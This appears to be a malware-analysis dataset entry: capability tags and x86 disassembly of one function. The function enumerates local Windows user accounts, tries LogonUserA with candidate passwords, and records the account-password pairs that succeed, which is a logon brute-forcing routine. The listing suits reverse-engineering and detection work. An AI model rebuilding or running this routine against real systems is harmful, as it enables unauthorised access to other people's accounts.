Function at 0x4ceb88
Capabilities:
Impersonate user
List user accounts

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x12
push 0
push 0
dec ecx
jne 0x4ceb90
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea esi, [ebp - 0x24]
xor eax, eax
push ebp
push 0x4cf08a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x41b420]
call fcn.004037f0
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
call fcn.004cf1f4
test eax, eax
jne 0x4cf064
call fcn.004cea70
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0x14
push 0
call sub.netapi32.dll_NetUserEnum
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
dec eax
test eax, eax
jl 0x4cec9f
inc eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x14]
mov edi, dword [eax + 0xc]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [esi], eax
lea eax, [ebp - 0x44]
mov edx, dword [esi]
call fcn.0040495c
mov eax, dword [ebp - 0x44]
mov edx, 0x4cf0a0
call fcn.00404b40
je 0x4cec67
lea eax, [ebp - 0x48]
mov edx, dword [esi]
call fcn.0040495c
mov eax, dword [ebp - 0x48]
mov edx, 0x4cf0b0
call fcn.00404b40
je 0x4cec67
lea eax, [ebp - 0x4c]
mov edx, dword [esi]
call fcn.0040495c
mov eax, dword [ebp - 0x4c]
mov edx, 0x4cf0c8
call fcn.00404b40
jne 0x4cec6d
add dword [ebp - 0x14], 0x14
jmp 0x4cec96
test dword [0x51fd78], edi
je 0x4cec7e
mov eax, dword [esi]
call fcn.004cea34
jmp 0x4cec92
lea eax, [ebp - 0x50]
mov edx, dword [esi]
call fcn.0040495c
mov edx, dword [ebp - 0x50]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
add dword [ebp - 0x14], 0x14
dec dword [ebp - 0x3c]
jne 0x4cec0f
mov eax, dword [ebp - 0x18]
push eax
call sub.netapi32.dll_NetApiBufferFree
cmp dword [ebp - 0x20], 0xea
je 0x4cebd9
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4ceda7
inc eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x28]
push eax
push 0
push 2
push 0x4cf0dc
push 0
lea ecx, [ebp - 0x54]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x54]
call fcn.00404bf4
push eax
call sub.advapi32.dll_LogonUserA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x29], al
call sub.kernel32.dll_GetLastError
cmp byte [ebp - 0x29], 0
jne 0x4ced23
cmp eax, 0x52f
je 0x4ced23
cmp eax, 0x569
je 0x4ced23
cmp eax, 0x533
jne 0x4ced74
lea ecx, [ebp - 0x58]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x58]
call fcn.00405688
call fcn.004cea34
mov edx, dword [0x524524]
mov dword [edx], eax
mov eax, dword [0x524610]
mov byte [eax], 1
push dword [ebp - 0x38]
lea ecx, [ebp - 0x5c]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
push dword [ebp - 0x5c]
push 0x4cf0e8
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.00404ab4
jmp 0x4ced9b
cmp eax, 0x775
jne 0x4ced9b
lea ecx, [ebp - 0x60]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x60]
call fcn.00405688
mov edx, dword [0x51fd74]
call fcn.004ceb54
inc dword [ebp - 0x30]
dec dword [ebp - 0x3c]
jne 0x4cecd0
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4cefc0
inc eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4cefb4
inc eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x28]
push eax
push 0
push 2
lea ecx, [ebp - 0x64]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x64]
call fcn.00404bf4
push eax
push 0
lea ecx, [ebp - 0x68]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x68]
call fcn.00404bf4
push eax
call sub.advapi32.dll_LogonUserA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x29], al
call sub.kernel32.dll_GetLastError
cmp byte [ebp - 0x29], 0
jne 0x4cee3c
cmp eax, 0x52f
je 0x4cee3c
cmp eax, 0x569
jne 0x4ceea6
lea ecx, [ebp - 0x6c]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x6c]
call fcn.00405688
call fcn.004cea34
mov edx, dword [0x524524]
mov dword [edx], eax
mov eax, dword [0x524610]
mov byte [eax], 1
push dword [ebp - 0x38]
lea ecx, [ebp - 0x70]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
push dword [ebp - 0x70]
push 0x4cf0f8
lea ecx, [ebp - 0x74]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 4]
mov esi, dword [eax]
call dword [esi + 0xc]
push dword [ebp - 0x74]
push 0x4cf104
lea eax, [ebp - 0x38]
mov edx, 5
call fcn.00404ab4
jmp 0x4cefb4
cmp eax, 0x775
jne 0x4cefa8
lea ecx, [ebp - 0x78]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x78]
call fcn.00405688
mov edx, dword [0x51fd74]
call fcn.004ceb54
lea eax, [ebp - 0x28]
push eax
push 0
push 2
lea ecx, [ebp - 0x7c]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x7c]
call fcn.00404bf4
push eax
push 0
lea ecx, [ebp - 0x80]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x80]
call fcn.00404bf4
push eax
call sub.advapi32.dll_LogonUserA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x29], al
call sub.kernel32.dll_GetLastError
cmp byte [ebp - 0x29], 0
jne 0x4cef2f
cmp eax, 0x52f
je 0x4cef2f
cmp eax, 0x569
jne 0x4cefa8
lea ecx, [ebp - 0x84]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x84]
call fcn.00405688
call fcn.004cea34
mov edx, dword [0x524524]
mov dword [edx], eax
mov eax, dword [0x524610]
mov byte [eax], 1
push dword [ebp - 0x38]
lea ecx, [ebp - 0x88]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
push dword [ebp - 0x88]
push 0x4cf0f8
lea ecx, [ebp - 0x8c]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 4]
mov esi, dword [eax]
call dword [esi + 0xc]
push dword [ebp - 0x8c]
push 0x4cf104
lea eax, [ebp - 0x38]
mov edx, 5
call fcn.00404ab4
jmp 0x4cefb4
inc dword [ebp - 0x34]
dec dword [ebp - 0x40]
jne 0x4cedde
inc dword [ebp - 0x30]
dec dword [ebp - 0x3c]
jne 0x4cedc2
mov eax, 4
call fcn.004cf1f4
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4cf050
inc eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x18]
push eax
push 0x14
lea ecx, [ebp - 0x90]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x90]
call fcn.00405688
push eax
push 0
call sub.netapi32.dll_NetUserGetInfo
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
test eax, eax
jne 0x4cf048
mov eax, dword [ebp - 0x14]
mov edi, dword [eax + 0xc]
test dword [0x51fd7c], edi
je 0x4cf048
lea ecx, [ebp - 0x94]
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x94]
call fcn.00405688
mov edx, dword [0x51fd74]
call fcn.004ceb54
inc dword [ebp - 0x30]
dec dword [ebp - 0x3c]
jne 0x4cefe1
mov eax, dword [ebp - 0x18]
push eax
call sub.netapi32.dll_NetApiBufferFree
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x38]
call fcn.00404788
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cf091
lea eax, [ebp - 0x94]
mov edx, 0x15
call fcn.00404758
lea eax, [ebp - 0x38]
call fcn.00404734
ret